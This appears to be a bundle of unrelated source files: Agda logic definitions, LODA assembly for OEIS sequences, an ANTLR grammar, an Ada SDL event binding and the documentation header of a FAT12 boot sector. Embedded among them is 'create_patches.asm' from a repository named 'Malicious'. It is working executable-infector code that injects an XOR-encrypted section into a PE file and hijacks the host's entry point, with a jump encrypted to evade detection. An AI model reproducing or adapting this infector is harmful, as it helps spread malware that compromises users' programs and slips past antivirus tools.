-- Eliminates universal quantification for a non-empty domain using a witnessed existence which proves that the domain is non-empty.
[∀ₑ]-elim : ⦃ _ : ◊ Obj ⦄ → ∀{P : Obj → Stmt{ℓ}} → ∀ₗ(x ↦ P(x)) → P([◊]-existence)
[∀ₑ]-elim {Obj = Obj} ⦃ proof ⦄ {P} apx = [∀]-elim {Obj = Obj}{P} apx(◊.existence(proof))
syntax ∀ₗ{T}(λ x → y) = ∀❪ x ꞉ T ❫․ y
∀⁰ : (Pred : Stmt{ℓ}) → Stmt
∀⁰ = id
∀¹ : (Pred : X → Stmt{ℓ}) → Stmt
∀¹ (Pred) = ∀⁰(∀ₗ ∘₀ Pred)
-- ∀¹ (Pred) = (∀{x} → Pred(x))
∀² : (Pred : X → Y → Stmt{ℓ}) → Stmt
∀² (Pred) = ∀¹(∀ₗ ∘₁ Pred)
-- ∀² (Pred) = (∀{x}{y} → Pred(x)(y))
∀³ : (Pred : X → Y → Z → Stmt{ℓ}) → Stmt
∀³ (Pred) = ∀²(∀ₗ ∘₂ Pred)
-- ∀³ (Pred) = (∀{x}{y}{z} → Pred(x)(y)(z))
∀⁴ : (Pred : X → Y → Z → W → Stmt{ℓ}) → Stmt
∀⁴ (Pred) = ∀³(∀ₗ ∘₃ Pred)
-- ∀⁴ (Pred) = (∀{x}{y}{z}{w} → Pred(x)(y)(z)(w))
|
oeis/002/A002720.asm | neoneye/loda-programs | 11 | 94319 | ; A002720: Number of partial permutations of an n-set; number of n X n binary matrices with at most one 1 in each row and column.
; Submitted by <NAME>
; 1,2,7,34,209,1546,13327,130922,1441729,17572114,234662231,3405357682,53334454417,896324308634,16083557845279,306827170866106,6199668952527617,132240988644215842,2968971263911288999,69974827707903049154,1727194482044146637521,44552237162692939114282,1198605668577020653881647,33572577967799567547243274,977421343777135316364285889,29533262279404214911002168626,924841298668309602644434087927,29976944827211469262961974756882,1004499603594644578398078136286609,34759052263955593644926343695227834
mov $2,1
mov $3,$0
lpb $3
mul $1,$3
add $1,$2
mul $2,$3
add $2,$1
sub $3,1
lpe
mov $0,$2
|
src/main/antlr4/xl/playground/expression/parse/Expression.g4 | bernard-xl/PlainOldExpression | 2 | 1333 | grammar Expression;
expression : '(' expression ')' #parenExpression
| primary #value
| left=expression op='.' Identifier #fieldAccess
| left=expression '[' index=expression ']' #indexAccess
| left=expression op=('*' | '/' | '%') right=expression #arithmetic1
| left=expression op=('+' | '-') right=expression #arithmetic2
| left=expression op=('<=' | '>=' | '>' | '<') right=expression #comparison
| left=expression op=('==' | '!=') right=expression #equality
| left=expression op=('&&' | '||') right=expression #logical
;
primary : literal #literalValue
| reference #referenceValue
;
literal : '-'? IntegerLiteral #intLiteral
| '-'? FloatingPointLiteral #floatLiteral
| StringLiteral #stringLiteral
| BooleanLiteral #booleanLiteral
| NullLiteral #nullLiteral
;
reference : Identifier;
// Tokens
NullLiteral : 'null' ;
BooleanLiteral : 'true' | 'false' ;
StringLiteral : '\'' StringElement* '\'' ;
IntegerLiteral : (DecimalNumeral | HexNumeral) ;
FloatingPointLiteral : Digit+ '.' Digit+ ExponentPart?
| '.' Digit+ ExponentPart?
| Digit ExponentPart
| Digit+ ExponentPart? ;
Identifier : JavaLetter JavaLetterOrDigit* ;
WS : [ \t\r\n\u000C]+ -> skip;
// Fragments
fragment StringElement : ~['\\] ;
fragment HexDigit : '0'..'9' | 'A'..'Z' | 'a'..'z' ;
fragment ExponentPart : ('E' | 'e') ('+' | '-')? Digit+;
fragment DecimalNumeral : '0' | NonZeroDigit Digit*;
fragment HexNumeral : '0' 'x' HexDigit HexDigit+;
fragment Digit : '0' | NonZeroDigit;
fragment NonZeroDigit : '1'..'9';
fragment JavaLetter
: [a-zA-Z0-9$_] // these are the "java letters or digits" below 0x7F
| // covers all characters above 0x7F which are not a surrogate
~[\u0000-\u007F\uD800-\uDBFF]
{Character.isJavaIdentifierStart(_input.LA(-1))}?
| // covers UTF-16 surrogate pairs encodings for U+10000 to U+10FFFF
[\uD800-\uDBFF] [\uDC00-\uDFFF]
{Character.isJavaIdentifierStart(Character.toCodePoint((char)_input.LA(-2), (char)_input.LA(-1)))}?
;
fragment JavaLetterOrDigit
: [a-zA-Z0-9$_] // these are the "java letters or digits" below 0x7F
| // covers all characters above 0x7F which are not a surrogate
~[\u0000-\u007F\uD800-\uDBFF]
{Character.isJavaIdentifierPart(_input.LA(-1))}?
| // covers UTF-16 surrogate pairs encodings for U+10000 to U+10FFFF
[\uD800-\uDBFF] [\uDC00-\uDFFF]
{Character.isJavaIdentifierPart(Character.toCodePoint((char)_input.LA(-2), (char)_input.LA(-1)))}?
;
|
oeis/001/A001421.asm | neoneye/loda-programs | 11 | 10029 | ; A001421: a(n) = (6n)!/((n!)^3*(3n)!).
; Submitted by <NAME>(w2)
; 1,120,83160,81681600,93699005400,117386113965120,155667030019300800,214804163196079142400,305240072216678400087000,443655767845074392936328000,656486312795713480715743268160,985646873056680684690542988249600,1497786250388951255453847206769124800,2299241651370858900383998675261515840000,3560251685571826433222298030346561248960000,5554245802945245454595369624089460192733081600,8721738890392447591431363764108524712997083223000,13774460761259199831096363132750092317866900076104000
mov $1,$0
mul $0,2
bin $0,$1
seq $1,113424 ; a(n) = (6n)!/((3n)!(2n)!n!).
mul $0,$1
|
thirdparty/adasdl/thin/adasdl/AdaSDL/binding/sdl-events.ads | Lucretia/old_nehe_ada95 | 0 | 10878 |
-- ----------------------------------------------------------------- --
-- AdaSDL --
-- Binding to Simple Direct Media Layer --
-- Copyright (C) 2001 A.M.F.Vargas --
-- <NAME> --
-- Ponta Delgada - Azores - Portugal --
-- http://www.adapower.net/~avargas --
-- E-mail: <EMAIL> --
-- ----------------------------------------------------------------- --
-- --
-- This library is free software; you can redistribute it and/or --
-- modify it under the terms of the GNU General Public --
-- License as published by the Free Software Foundation; either --
-- version 2 of the License, or (at your option) any later version. --
-- --
-- This library is distributed in the hope that it will be useful, --
-- but WITHOUT ANY WARRANTY; without even the implied warranty of --
-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU --
-- General Public License for more details. --
-- --
-- You should have received a copy of the GNU General Public --
-- License along with this library; if not, write to the --
-- Free Software Foundation, Inc., 59 Temple Place - Suite 330, --
-- Boston, MA 02111-1307, USA. --
-- --
-- As a special exception, if other files instantiate generics from --
-- this unit, or you link this unit with other files to produce an --
-- executable, this unit does not by itself cause the resulting --
-- executable to be covered by the GNU General Public License. This --
-- exception does not however invalidate any other reasons why the --
-- executable file might be covered by the GNU Public License. --
-- ----------------------------------------------------------------- --
-- **************************************************************** --
-- This is an Ada binding to SDL ( Simple DirectMedia Layer from --
-- Sam Lantinga - www.libsld.org ) --
-- **************************************************************** --
-- In order to help the Ada programmer, the comments in this file --
-- are, in great extent, a direct copy of the original text in the --
-- SDL header files. --
-- **************************************************************** --
with System;
with Interfaces.C;
with SDL.Types; use SDL.Types;
with SDL.Keyboard;
with SDL.Active;
with SDL.Mouse;
with SDL.Joystick;
package SDL.Events is
type Event_Type is new Interfaces.Unsigned_8;
for Event_Type'Size use 8;
-- pragma Convention (C, Event_Type);
package I renames Interfaces;
package M renames SDL.Mouse;
package Jy renames SDL.Joystick;
-- ------------------
-- Orginal C Event enumerations
-- ------------------
-- Unused (do not remove)
NOEVENT : constant Event_Type := 0;
-- Application loses/gains visibility
ISACTIVEEVENT : constant Event_Type := 1;
-- Keys pressed
KEYDOWN : constant Event_Type := 2;
-- Keys released
KEYUP : constant Event_Type := 3;
-- Mouse moved
MOUSEMOTION : constant Event_Type := 4;
-- Mouse button pressed
MOUSEBUTTONDOWN : constant Event_Type := 5;
-- Mouse button released
MOUSEBUTTONUP : constant Event_Type := 6;
-- Joystick axis motion
JOYAXISMOTION : constant Event_Type := 7;
-- Joystick trackball motion
JOYBALLMOTION : constant Event_Type := 8;
-- Joystick hat position change
JOYHATMOTION : constant Event_Type := 9;
-- Joystick button pressed
JOYBUTTONDOWN : constant Event_Type := 10;
-- Joystick button released
JOYBUTTONUP : constant Event_Type := 11;
-- User-requested quit
QUIT : constant Event_Type := 12;
-- System specific event
ISSYSWMEVENT : constant Event_Type := 13;
-- Reserved for future use..
EVENT_RESERVEDA : constant Event_Type := 14;
-- Reserved for future use..
EVENT_RESERVEDB : constant Event_Type := 15;
-- User resized video mode
VIDEORESIZE : constant Event_Type := 16;
-- Reserved for future use..
EVENT_RESERVED1 : constant Event_Type := 17;
-- Reserved for future use..
EVENT_RESERVED2 : constant Event_Type := 18;
-- Reserved for future use..
EVENT_RESERVED3 : constant Event_Type := 19;
-- Reserved for future use..
EVENT_RESERVED4 : constant Event_Type := 20;
-- Reserved for future use..
EVENT_RESERVED5 : constant Event_Type := 21;
-- Reserved for future use..
EVENT_RESERVED6 : constant Event_Type := 22;
-- Reserved for future use..
EVENT_RESERVED7 : constant Event_Type := 23;
-- Events USEREVENT through MAXEVENTS-1 are for your use
ISUSEREVENT : constant Event_Type := 24;
-- This last event is only for bounding internal arrays
-- It is the number of bits in the event mask datatype -- Uint32
NUMEVENTS : constant Event_Type := 32;
-- Predefined event masks
type Event_Mask is mod 2**Integer (NUMEVENTS);
ACTIVEEVENTMASK : constant Event_Mask :=
Event_Mask (I.Shift_Left (I.Unsigned_32 (1), Integer (ISACTIVEEVENT)));
KEYDOWNMASK : constant Event_Mask :=
Event_Mask (I.Shift_Left (I.Unsigned_32 (1), Integer (KEYDOWN)));
KEYUPMASK : constant Event_Mask :=
Event_Mask (I.Shift_Left (I.Unsigned_32 (1), Integer (KEYUP)));
MOUSEMOTIONMASK : constant Event_Mask :=
Event_Mask (I.Shift_Left (I.Unsigned_32 (1), Integer (MOUSEMOTION)));
MOUSEBUTTONDOWNMASK : constant Event_Mask :=
Event_Mask (I.Shift_Left (I.Unsigned_32 (1), Integer (MOUSEBUTTONDOWN)));
MOUSEBUTTONUPMASK : constant Event_Mask :=
Event_Mask (I.Shift_Left (I.Unsigned_32 (1), Integer (MOUSEBUTTONUP)));
MOUSEEVENTMASK : constant Event_Mask :=
Event_Mask (I.Shift_Left (I.Unsigned_32 (1), Integer (MOUSEMOTION))) or
Event_Mask (I.Shift_Left (I.Unsigned_32 (1), Integer (MOUSEBUTTONDOWN))) or
Event_Mask (I.Shift_Left (I.Unsigned_32 (1), Integer (MOUSEBUTTONUP)));
JOYAXISMOTIONMASK : constant Event_Mask :=
Event_Mask (I.Shift_Left (I.Unsigned_32 (1), Integer (JOYAXISMOTION)));
JOYBALLMOTIONMASK : constant Event_Mask :=
Event_Mask (I.Shift_Left (I.Unsigned_32 (1), Integer (JOYBALLMOTION)));
JOYHATMOTIONMASK : constant Event_Mask :=
Event_Mask (I.Shift_Left (I.Unsigned_32 (1), Integer (JOYHATMOTION)));
JOYBUTTONDOWNMASK : constant Event_Mask :=
Event_Mask (I.Shift_Left (I.Unsigned_32 (1), Integer (JOYBUTTONDOWN)));
JOYBUTTONUPMASK : constant Event_Mask :=
Event_Mask (I.Shift_Left (I.Unsigned_32 (1), Integer (JOYBUTTONUP)));
JOYEVENTMASK : constant Event_Mask :=
Event_Mask (I.Shift_Left (I.Unsigned_32 (1), Integer (JOYAXISMOTION))) or
Event_Mask (I.Shift_Left (I.Unsigned_32 (1), Integer (JOYBALLMOTION))) or
Event_Mask (I.Shift_Left (I.Unsigned_32 (1), Integer (JOYHATMOTION))) or
Event_Mask (I.Shift_Left (I.Unsigned_32 (1), Integer (JOYBUTTONDOWN))) or
Event_Mask (I.Shift_Left (I.Unsigned_32 (1), Integer (JOYBUTTONUP)));
VIDEORESIZEMASK : constant Event_Mask :=
Event_Mask (I.Shift_Left (I.Unsigned_32 (1), Integer (VIDEORESIZE)));
QUITMASK : constant Event_Mask :=
Event_Mask (I.Shift_Left (I.Unsigned_32 (1), Integer (QUIT)));
SYSWMEVENTMASK : constant Event_Mask :=
Event_Mask (I.Shift_Left (I.Unsigned_32 (1), Integer (ISSYSWMEVENT)));
ALLEVENTS : constant Event_Mask := 16#FFFFFFFF#;
-- Application visibility event structure
type ActiveEvent is
record
-- the_type, -- ISACTIVEEVENT
the_type : Event_Type; -- ISACTIVEEVENT;
gain, -- Whether given states were gained or lost (1/0)
state : SDL.Active.Active_State; -- A mask of the focus states
end record;
pragma Convention (C, ActiveEvent);
-- Keyboard event structure
type KeyboardEvent is
record
the_type : Event_Type; -- KEYDOWN or KEYUP
which : Uint8; -- The keyboard device index
state : Uint8; -- PRESSED or RELEASED
keysym : aliased SDL.Keyboard.keysym;
end record;
pragma Convention (C, KeyboardEvent);
-- Mouse motion event structure
type MouseMotionEvent is
record
the_type : Event_Type; -- MOUSEMOTION
which : Uint8; -- The mouse device index
state : Uint8; -- The current state
x, y : Uint16; -- The X/Y coordinates of the mouse
xrel : Sint16; -- The relative motion in the X direction
yrel : Sint16; -- The relative motion in the Y direction
end record;
pragma Convention (C, MouseMotionEvent);
-- Mouse button event structure
type MouseButtonEvent is
record
the_type : Event_Type; -- MOUSEBUTTONDOWN or MOUSEBUTTONUP
which : Uint8; -- The mouse device index
button : Uint8; -- The mouse button index
state : M.Mouse_Button_State; -- PRESSED or RELEASED
x, y : Uint16; -- The X/Y coordinates of the mouse at
-- press time
end record;
pragma Convention (C, MouseButtonEvent);
-- Joystick axis motion event structure
type JoyAxisEvent is
record
the_type : Event_Type; -- JOYAXISMOTION
which : Uint8; -- The joystick device index
axis : Uint8; -- The joystick axis index
value : Sint16; -- The axis value (range: -32768 to 32767)
end record;
pragma Convention (C, JoyAxisEvent);
-- Joystick trackball motion event structure
type JoyBallEvent is
record
the_type : Event_Type; -- JOYBALLMOTION
which : Uint8; -- The joystick device index
ball : Uint8; -- The joystick trackball index
xrel : Sint16; -- The relative motion in the X direction
yrel : Sint16; -- The relative motion in the Y direction
end record;
pragma Convention (C, JoyBallEvent);
-- Joystick hat position change event structure
type JoyHatEvent is
record
the_type : Event_Type; -- JOYHATMOTION
which : Uint8; -- The joystick device index
hat : Uint8; -- The joystick hat index
value : Jy.HAT_State; -- The hat position value
-- 8 1 2
-- 7 0 3
-- 6 5 4
-- Note that zero means the POV is centered.
end record;
pragma Convention (C, JoyHatEvent);
-- Joystick button event structure */
type JoyButtonEvent is
record
the_type : Event_Type; -- JOYBUTTONDOWN or JOYBUTTONUP
which : Uint8; -- The joystick device index
button : Uint8; -- The joystick button index
state : Uint8; -- PRESSED or RELEASED
end record;
pragma Convention (C, JoyButtonEvent);
-- The "window resized" event
-- When you get this event, you are responsible for setting a new video
-- mode with the new width and height.
type ResizeEvent is
record
the_type : Event_Type; -- VIDEORESIZE
w, h : C.int; -- New width and height
end record;
pragma Convention (C, ResizeEvent);
-- The "quit requested" event
type QuitEvent is
record
the_type : Event_Type; -- QUIT
end record;
pragma Convention (C, QuitEvent);
-- A user-defined event type
type UserEvent is
record
the_type : Event_Type; -- USEREVENT through NUMEVENTS-1
code : C.int; -- User defined event code
data1 : void_ptr; -- User defined data pointer
data2 : void_ptr; -- User defined data pointer
end record;
pragma Convention (C, UserEvent);
type SysWMmsg_ptr is new System.Address;
-- If you want to use this event, you should use SDL.Syswm
type SysWMEvent is
record
the_type : Event_Type;
msg : SysWMmsg_ptr;
end record;
pragma Convention (C, SysWMEvent);
type Event_Selection is (
Is_Event_Type,
Is_ActiveEvent,
Is_KeyboardEvent,
Is_MouseMotionEvent,
Is_MouseButtonEvent,
Is_JoyAxisEvent,
Is_JoyBallEvent,
Is_JoyHatEvent,
Is_JoyButtonEvent,
Is_ResizeEvent,
Is_QuitEvent,
Is_UserEvent,
Is_SysWMEvent);
-- General event structure
type Event (Event_Selec : Event_Selection := Is_Event_Type) is
record
case Event_Selec is
when Is_Event_Type => the_type : Event_Type;
when Is_ActiveEvent => active : ActiveEvent;
when Is_KeyboardEvent => key : KeyboardEvent;
when Is_MouseMotionEvent => motion : MouseMotionEvent;
when Is_MouseButtonEvent => button : MouseButtonEvent;
when Is_JoyAxisEvent => jaxis : JoyAxisEvent;
when Is_JoyBallEvent => jball : JoyBallEvent;
when Is_JoyHatEvent => jhat : JoyHatEvent;
when Is_JoyButtonEvent => jbutton : JoyButtonEvent;
when Is_ResizeEvent => resize : ResizeEvent;
when Is_QuitEvent => quit : QuitEvent;
when Is_UserEvent => user : UserEvent;
when Is_SysWMEvent => syswm : SysWMEvent;
end case;
end record;
pragma Convention (C, Event);
pragma Unchecked_Union (Event);
type Event_ptr is access all Event;
pragma Convention (C, Event_ptr);
-- -------------------
-- Function prototypes
-- -------------------
-- Pumps the event loop, gathering events from the input devices.
-- This function updates the event queue and internal input device state.
-- This should only be run in the thread that sets the video mode.
procedure PumpEvents;
pragma Import (C, PumpEvents, "SDL_PumpEvents");
-- Checks the event queue for messages and optionally returns them.
-- If 'action' is ADDEVENT, up to 'numevents' events will be added to
-- the back of the event queue.
-- If 'action' is PEEKEVENT, up to 'numevents' events at the front
-- of the event queue, matching 'mask', will be returned and will not
-- be removed from the queue.
-- If 'action' is GETEVENT, up to 'numevents' events at the front
-- of the event queue, matching 'mask', will be returned and will be
-- removed from the queue.
-- This function returns the number of events actually stored, or -1
-- if there was an error. This function is thread-safe.
type eventaction is new C.int;
ADDEVENT : constant := 0;
PEEKEVENT : constant := 1;
GETEVENT : constant := 2;
type Events_Array is array (Natural range <>) of Event;
procedure PeepEventsVP (
result : out C.int;
events : in out Events_Array;
numevents : C.int;
action : eventaction;
mask : Event_Mask);
pragma Import (C, PeepEventsVP, "SDL_PeepEvents");
pragma Import_Valued_Procedure (PeepEventsVP);
-- From Ada this function is to be called only as
-- ... := PeepEvents (null, 0, the_action, the_mask);
-- in other cases use PeepEventsVP.
function PeepEvents (
events : Event_ptr;
numevents : C.int;
action : eventaction;
mask : Event_Mask)
return C.int;
pragma Import (C, PeepEvents, "SDL_PeepEvents");
-- pending events, or 0 if there are none available. If 'event' is not
-- NULL, the next event is removed from the queue and stored in that area.
function PollEvent (the_event : access Event) return C.int;
pragma Import (C, PollEvent, "SDL_PollEvent");
-- Check the pending events. Doesn't remove them.
function Poll_Event return C.int;
pragma Inline (Poll_Event);
-- A corresponding Valued Procedure
procedure PollEventVP (result : out C.int; the_event : in out Event);
pragma Import (C, PollEventVP, "SDL_PollEvent");
pragma Import_Valued_Procedure (PollEventVP);
-- Waits indefinitely for the next available event, returning 1, or 0
-- if there was an error while waiting for events. If 'event' is not
-- NULL, the next event is removed from the queue and stored in that area.
function WaitEvent (event : Event_ptr) return C.int;
procedure WaitEvent (event : Event_ptr);
procedure WaitEvent (the_event : in out Event);
pragma Import (C, WaitEvent, "SDL_WaitEvent");
procedure Wait_Event (
Result : out C.int;
the_event : in out Event);
pragma Import (C, Wait_Event, "SDL_WaitEvent");
pragma Import_Valued_Procedure (Wait_Event);
function Wait_Any_Event return C.int;
pragma Inline (Wait_Any_Event);
-- Add an event to the event queue.
-- This function returns 0, or -1 if the event couldn't be added to
-- the event queue. If the event queue is full, this function fails.
function PushEvent (event : Event_ptr) return C.int;
procedure PushEvent (event : Event_ptr);
function PushEvent (the_event : Event) return C.int;
procedure PushEvent (the_event : Event);
pragma Import (C, PushEvent, "SDL_PushEvent");
-- This function sets up a filter to process all events before they
-- change internal state and are posted to the internal event queue.
-- The filter is protypted as:
type EventFilter_ptr is access function (event : Event_ptr) return C.int;
pragma Convention (C, EventFilter_ptr);
-- If the filter returns 1, then the event will be added to the internal
-- queue. If it returns 0, then the event will be dropped from the queue,
-- but the internal state will still be updated. This allows selective
-- filtering of dynamically arriving events.
-- WARNING: Be very careful of what you do in the event filter function,
-- as it may run in a different thread!
-- There is one caveat when dealing with the QUITEVENT event type. The
-- event filter is only called when the window manager desires to close the
-- application window. If the event filter returns 1, then the window will
-- be closed, otherwise the window will remain open if possible.
-- If the quit event is generated by an interrupt signal, it will bypass
-- the internal queue and be delivered to the application at the next event
-- poll.
procedure SetEventFilter (filter : EventFilter_ptr);
pragma Import (C, SetEventFilter, "SDL_SetEventFilter");
-- Return the current event filter - can be used to "chain" filters.
-- If there is no event filter set, this function returns NULL.
function GetEventFilter return EventFilter_ptr;
pragma Import (C, GetEventFilter, "SDL_GetEventFilter");
-- This function allows you to set the state of processing certain events.
-- If 'state' is set to IGNORE, that event will be automatically dropped
-- from the event queue and will not event be filtered.
-- If 'state' is set to ENABLE, that event will be processed normally.
-- If 'state' is set to QUERY, EventState will return the
-- current processing state of the specified event.
QUERY : constant := -1;
IGNORE : constant := 0;
DISABLE : constant := 0;
ENABLE : constant := 1;
function EventState (
the_type : Event_Type;
state : C.int) return Uint8;
procedure EventState (
the_type : Event_Type;
state : C.int);
pragma Import (C, EventState, "SDL_EventState");
end SDL.Events;
|
programs/oeis/002/A002960.asm | jmorken/loda | 1 | 176127 | <filename>programs/oeis/002/A002960.asm
; A002960: The square sieve.
; 2,5,8,12,17,22,28,34,41,48,56,65,74,84,94,105,116,128,140,153,166,180,194,209,224,240,257,274,292,310,329,348,368,388,409,430,452,474,497,520,544,568,593,618,644,670,697,724,752,780,809,838,868,898,929,960,992,1025,1058,1092,1126,1161,1196,1232,1268,1305,1342,1380,1418,1457,1496,1536,1576,1617,1658,1700,1742,1785,1828,1872,1916,1961,2006,2052,2098,2145,2192,2240,2288,2337,2386,2436,2486,2537,2588,2640,2692,2745,2798,2852,2906,2961,3016,3072,3128,3185,3242,3300,3358,3417,3476,3536,3596,3657,3718,3780,3842,3905,3968,4032,4097,4162,4228,4294,4361,4428,4496,4564,4633,4702,4772,4842,4913,4984,5056,5128,5201,5274,5348,5422,5497,5572,5648,5724,5801,5878,5956,6034,6113,6192,6272,6352,6433,6514,6596,6678,6761,6844,6928,7012,7097,7182,7268,7354,7441,7528,7616,7704,7793,7882,7972,8062,8153,8244,8336,8428,8521,8614,8708,8802,8897,8992,9088,9184,9281,9378,9476,9574,9673,9772,9872,9972,10073,10174,10276,10378,10481,10584,10688,10792,10897,11002,11108,11214,11321,11428,11536,11644,11753,11862,11972,12082,12193,12304,12416,12528,12641,12754,12868,12982,13097,13212,13328,13444,13561,13678,13796,13914,14033,14152,14272,14392,14513,14634,14756,14878,15001,15124,15248,15372,15497,15622,15748,15874,16001,16128,16256,16385,16514,16644
mov $2,$0
add $2,1
mov $5,$0
lpb $2
mov $0,$5
sub $2,1
sub $0,$2
mov $4,$0
lpb $0
sub $0,1
mul $0,2
add $4,1
trn $0,$4
lpe
mov $3,2
div $4,2
add $3,$4
add $1,$3
lpe
|
src/create_patches.asm | Shinao/Malicious | 82 | 90944 | <filename>src/create_patches.asm
; CREATING DECRYPTER
mov edi, [DELTA PeFileMap]
add edi, [DELTA PointerToRawData]
mov eax, 0BFh ; Mov edi
stosb
mov eax, DECRYPTER_SIZE + PATCHER_SIZE ; Address of our section to decrypt
add eax, [DELTA BaseImage]
add eax, [DELTA VirtualAddress]
stosd
mov eax, 0F78Bh ; mov esi, edi
stosw
mov eax, 0C933h ; xor ecx, ecx
stosw
mov eax, 0ACh ; lodsb opcode
stosb
mov eax, 035h ; xor opcode
stosb
mov eax, [DELTA XorCrypt] ; random xor
stosd
mov eax, 0AAh ; stosb
stosb
mov eax, 041h ; inc ecx
stosb
mov eax, 0F981h ; cmp ecx
stosw
mov eax, endInject - toInject - DECRYPTER_SIZE - PATCHER_SIZE
stosd
mov eax, 075h ; Je
stosb
mov eax, -DECRYPTER_SIZE + 9
stosb
; CREATE REVERT PATCH ON OLD ENTRY POINT
mov ecx, PATCH_SIZE
mov edi, [DELTA PeFileMap] ; Destination bytes
add edi, [DELTA PointerToRawData]
add edi, DECRYPTER_SIZE ; After decrypter add our patch
mov esi, [DELTA PeFileMap]
add esi, [DELTA CodeSecRawData]
add esi, [DELTA OffsetCodeSecEP]
mov eax, 0BFh ; Mov edi, imm32
stosb
mov eax, [DELTA OldEntryPoint]
add eax, [DELTA BaseImage]
stosd
patchNewDword:
mov eax, 0B8h ; mov eax, imm32
stosb
lodsd
stosd
mov eax, 0ABh ; stosd
stosb
sub ecx, 4
cmp ecx, 0
jg patchNewDword
; CREATING JUMP TO OLD ENTRY POINT
mov edi, goToEntryPoint - toInject ; Offset jmp
add edi, [DELTA PeFileMap] ; Add base filemap
add edi, [DELTA PointerToRawData] ; Add section offset
mov eax, 0E9h ; JMP rel32 OPCODE
xor eax, [DELTA XorCrypt] ; Encrypt
stosb
mov eax, [DELTA OldEntryPoint] ; Entry point address
sub eax, [DELTA VirtualAddress]
mov esi, goToEntryPoint - toInject
sub eax, esi
sub eax, 05h ; Add 5 bytes for JMP
xor eax, [DELTA XorCrypt] ; encrypt
stosd
; PATCH SETTING JUMP ON FIRST SECTION POINTING TO US
; Decrypt jmp
; Setting where we place our patch (section + offset EP if needed)
mov edi, [DELTA PeFileMap]
add edi, [DELTA CodeSecRawData] ; filemap + pointer to raw data of code section
add edi, [DELTA OffsetCodeSecEP] ; offset of EP
; Decrypt jmp to avoid detection
mov eax, 0B9h ; Mov ecx imm32
stosb
mov eax, 05h ; size of jump
stosd
mov eax, 0BFh ; Mov edi imm32
stosb
; Get JMP Addr
mov ebx, [DELTA BaseImage]
add ebx, [DELTA OldEntryPoint]
add ebx, PATCH_DECRYPT_SIZE
mov eax, ebx
stosd
mov eax, 0BEh ; Mov esi imm32
stosb
mov eax, ebx
stosd
; Create loop now
mov eax, 0ACh ; lodsb
stosb
mov eax, 0F083h ; xor eax imm8
stosw
mov eax, [DELTA XorCrypt]
stosb
mov eax, 0AAh ; stosb
stosb
mov eax, 0E2h ; loop rel8
stosb
mov eax, 0FFh - 06h
stosb
; JUMP!JUMP!JUMP!
mov eax, 0E9h ; JMP rel32 OPCODE
xor eax, [DELTA XorCrypt]
stosb
mov eax, [DELTA VirtualAddress]
sub eax, [DELTA CodeSecVA]
sub eax, [DELTA OffsetCodeSecEP] ; addr rel = Our VA - their VA - offset EP
sub eax, 05h ; Remove 5 bytes for JMP
sub eax, PATCH_DECRYPT_SIZE ; Remove our decrypter size
xor eax, [DELTA XorCrypt]
stosd
|
tests/mult.asm | bynect/intel-8080-kit | 0 | 104121 | <reponame>bynect/intel-8080-kit
mult: mvi b, 0
mvi e, 9
mult_00:
mov a, c
rar
mov c, a
dcr e
jz mult_end
mov a, b
jnc mult_01
add d
mult_01:
rar
mov b, a
jmp mult_00 ;this is a comment
mult_end:
ret
|
src/asm/boot1.asm | pwestrich/csc_4100 | 0 | 97228 | <gh_stars>0
; boot12.asm FAT12 bootstrap for real mode image or loader
; Version 1.0, Jul 5, 1999
; Sample code
; by <NAME> <EMAIL>
; I do not place any restrictions on your use of this source code
; I do not provide any warranty of the correctness of this source code
;_____________________________________________________________________________
;
; Documentation:
;
; I) BASIC features
; II) Compiling and installing
; III) Detailed features and limits
; IV) Customization
;_____________________________________________________________________________
;
; I) BASIC features
;
; This boot sector will load and start a real mode image from a file in the
; root directory of a FAT12 formatted floppy or partition.
;
; Inputs:
; DL = drive number
;
; Outputs:
; The boot record is left in memory at 7C00 and the drive number is patched
; into the boot record at 7C24.
; SS = DS = 0
; BP = 7C00
;_____________________________________________________________________________
;
; II) Compiling and installing
;
; To compile, use NASM
;
; nasm boot12.asm -o boot12.bin
;
; Then you must copy the first three bytes of BOOT12.BIN to the first three
; bytes of the volume and copy bytes 0x3E through 0x1FF of BOOT12.BIN to
; bytes 0x3E through 0x1FF of the volume. Bytes 0x3 through 0x3D of the
; volume should be set by a FAT12 format program and should not be modified
; when copying boot12.bin to the volume.
;
; If you use my PARTCOPY program to install BOOT12.BIN on A:, the
; commands are:
;
; partcopy boot12.bin 0 3 -f0
; partcopy boot12.bin 3e 1c2 -f0 3e
;
; PARTCOPY can also install to a partition on a hard drive. Please read
; partcopy documentation and use it carefully. Careless use could overwrite
; important parts of your hard drive.
;
; You can find PARTCOPY and links to NASM on my web page at
; http://www.erols.com/johnfine/
;_____________________________________________________________________________
;
; III) Detailed features and limits
;
; Most of the limits are stable characteristics of the volume. If you are
; using boot12 in a personal project, you should check the limits before
; installing boot12. If you are using boot12 in a project for general
; distribution, you should include an installation program which checks the
; limits automatically.
;
; CPU: Supports any 8088+ CPU.
;
; Volume format: Supports only FAT12.
;
; Sector size: Supports only 512 bytes per sector.
;
; Drive/Partition: Supports whole drive or any partition of any drive number
; supported by INT 13h.
;
; Diskette parameter table: This code does not patch the diskette parameter
; table. If you boot this code from a diskette that has more sectors per
; track than the default initialized by the BIOS then the failure to patch
; that table may be a problem. Because this code splits at track boundaries
; a diskette with fewer sectors per track should not be a problem.
;
; File position: The file name may be anywhere in the root directory and the
; file may be any collection of clusters on the volume. There are no
; contiguity requirements. (But see track limit).
;
; Track boundaries: Transfers are split on track boundaries. Many BIOS's
; require that the caller split floppy transfers on track boundaries.
;
; 64Kb boundaries: Transfers are split on 64Kb boundaries. Many BIOS's
; require that the caller split floppy transfers on track boundaries.
;
; Cluster boundaries: Transfers are merged across cluster boundaries whenever
; possible. On some systems, this significantly reduces load time.
;
; Cluster 2 limit: Cluster 2 must start before sector 65536 of the volume.
; This is very likely because only the reserved sectors (usually 1) and
; the FAT's (two of up to 12 sectors each) and the root directory (usually
; either 15 or 32 sectors) precede cluster 2.
;
; Track limit: The entire image file must reside before track 32768 of the
; entire volume. This is true on most media up to 1GB in size. If it is a
; problem it is easy to fix (see boot16.asm). I didn't expect many people
; to put FAT12 partitions beyond the first GB of a large hard drive.
;
; Memory boundaries: The FAT, Root directory, and Image must all be loaded
; starting at addresses that are multiples of 512 bytes (32 paragraphs).
;
; Memory use: The FAT and Root directory must each fit entirely in the
; first 64Kb of RAM. They may overlap.
;
; Root directory size: As released, it supports up to 928 entries in the
; root directory. If ROOT_SEG were changed to 0x7E0 it would support up
; to 1040. Most FAT12 volumes have either 240 or 512 root directory
; entries.
;_____________________________________________________________________________
;
; IV) Customization
;
